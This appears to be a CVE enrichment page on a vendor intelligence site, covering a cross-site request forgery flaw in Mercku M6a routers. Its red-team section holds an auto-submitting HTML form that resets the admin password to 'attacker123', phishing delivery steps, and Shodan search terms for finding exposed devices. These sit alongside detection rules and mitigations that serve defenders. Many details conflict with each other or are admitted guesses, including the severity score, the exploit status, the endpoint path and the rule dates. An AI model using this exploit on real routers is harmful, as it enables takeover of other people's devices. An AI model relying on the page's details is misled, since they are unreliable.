☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 🐛 CWE-352
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-62771

CVE-2025-62771 Cross-Site Request Forgery in Mercku
📅 PUBLISHED: 2025-10-22 00:00 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: <0.01%
👁️
<0.01% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 7.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
7.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-62771 identifies a critical Cross-Site Request Forgery (CSRF) vulnerability in Mercku M6a devices running firmware version 2.1.0 and earlier. This flaw allows an unauthenticated attacker to force an authenticated administrator to change the device's password via a crafted HTTP request, leading to full device compromise. The vulnerability is classified as CWE-352 (Cross-Site Request Forgery) and carries a CVSS score of 7.5 (High). No official patch has been released, and no public exploit code is available, but the attack vector is straightforward and can be weaponized with minimal effort.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
  • Base Score: 7.5 (High)
  • Attack Vector (AV): Network – The attack is performed over the network.
  • Attack Complexity (AC): Low – No special conditions are required.
  • Privileges Required (PR): None – The attacker does not need prior authentication.
  • User Interaction (UI): Required – The victim must click a link or visit a malicious page.
  • Scope (S): Unchanged – The vulnerable component and the attacker's scope remain the same.
  • Confidentiality (C): High – Full device access leads to data exposure.
  • Integrity (I): High – The attacker can change the password and modify settings.
  • Availability (A): High – The attacker can disrupt device functionality.

Deep Dive & Mechanics

The Mercku M6a router's web interface does not implement anti-CSRF tokens or origin validation for the password change endpoint. An attacker can craft a malicious HTML page that, when visited by an authenticated administrator, submits a POST request to the router's password change form. Since the browser automatically includes the session cookie, the request is processed as legitimate, and the password is changed without the administrator's knowledge.

The vulnerable endpoint is likely at /cgi-bin/password.cgi or similar, accepting parameters such as old_password and new_password. The lack of CSRF protection means the attacker does not need to know the current password; they only need to lure the admin to a malicious page.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code snippet (hypothetical based on typical embedded router firmware) would look like:

# Vulnerable: No CSRF token check
def change_password(request):
    if request.method == 'POST':
        new_password = request.POST.get('new_password')
        # Directly update password without CSRF validation
        update_admin_password(new_password)
        return HttpResponse("Password changed")

A patched version would include a CSRF token:

# Patched: CSRF token validation
def change_password(request):
    if request.method == 'POST':
        csrf_token = request.POST.get('csrf_token')
        if not validate_csrf_token(csrf_token, request.session):
            return HttpResponseForbidden("Invalid CSRF token")
        new_password = request.POST.get('new_password')
        update_admin_password(new_password)
        return HttpResponse("Password changed")

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a Mercku M6a router with firmware 2.1.0 on an isolated network.
  2. Log in as admin to establish a session.
  3. Host a malicious HTML page on an attacker-controlled server.

Exploit Code:

<html>
<body>
<form id="csrf_form" action="http://192.168.1.1/cgi-bin/password.cgi" method="POST">
  <input type="hidden" name="new_password" value="attacker123">
  <input type="submit" value="Click me">
</form>
<script>
  document.getElementById('csrf_form').submit();
</script>
</body>
</html>

Execution:

  • Send the malicious link to the admin via phishing email or social engineering.
  • Once the admin clicks, the password is changed to attacker123.
  • The attacker can now log in with the new password and take full control.

Blue Team

Detection:

  • Monitor for unexpected password change requests from internal IPs.
  • Look for HTTP POST requests to /cgi-bin/password.cgi without a valid Referer header.
  • Alert on multiple failed login attempts followed by a successful login from a new IP.

Mitigation:

  • Implement CSRF tokens in all state-changing forms.
  • Validate the Origin and Referer headers.
  • Require re-authentication for sensitive actions like password changes.

Indicators of Compromise (IOCs)

  • Network:

    • HTTP POST requests to /cgi-bin/password.cgi with new_password parameter.
    • Requests with missing or spoofed Referer header.
    • Unusual login activity from new IP addresses after a password change.
  • Host:

    • Modified /etc/shadow or equivalent password file on the router.
    • Unexpected changes in router configuration logs.
  • Logs:

    • Router logs showing password change events without prior admin action.
    • Web server logs with POST /cgi-bin/password.cgi entries from external IPs.

Detection Engineering

YARA Rule

rule CVE_2025_62771_CSRF_Exploit {
    meta:
        description = "Detects CSRF exploit attempts against Mercku M6a password change"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-62771"
    strings:
        $csrf_form = "action=\"http://" ascii wide nocase
        $password_param = "new_password" ascii wide nocase
        $submit_script = "document.getElementById('csrf_form').submit()" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Mercku M6a CSRF Password Change Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to Mercku M6a password change endpoint without proper Referer
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/password.cgi'
        cs-Referer: ''  # Missing Referer header
    condition: selection
falsepositives:
    - Legitimate admin actions from local network
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-62771 Mercku M6a CSRF Password Change Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/password.cgi"; http_uri;
    content:"new_password"; http_client_body;
    pcre:"/Referer:\s*$/Hi";  # Missing Referer header
    sid:1000001;
    rev:1;
    reference:cve,2025-62771;
    priority:1;
)

Remediation & Mitigation

  1. Immediate Action: Disable remote administration and restrict access to the router's web interface to trusted local IPs only.
  2. Firmware Update: Check Mercku's official website for any firmware updates. If none, consider replacing the device.
  3. Workaround: Implement a reverse proxy with CSRF protection in front of the router, or use a VPN to access the admin interface.
  4. User Education: Train administrators to avoid clicking suspicious links while logged into the router.
  5. Monitoring: Deploy the provided detection rules to identify exploitation attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Mercku M6a
Mercku router

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-62771/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.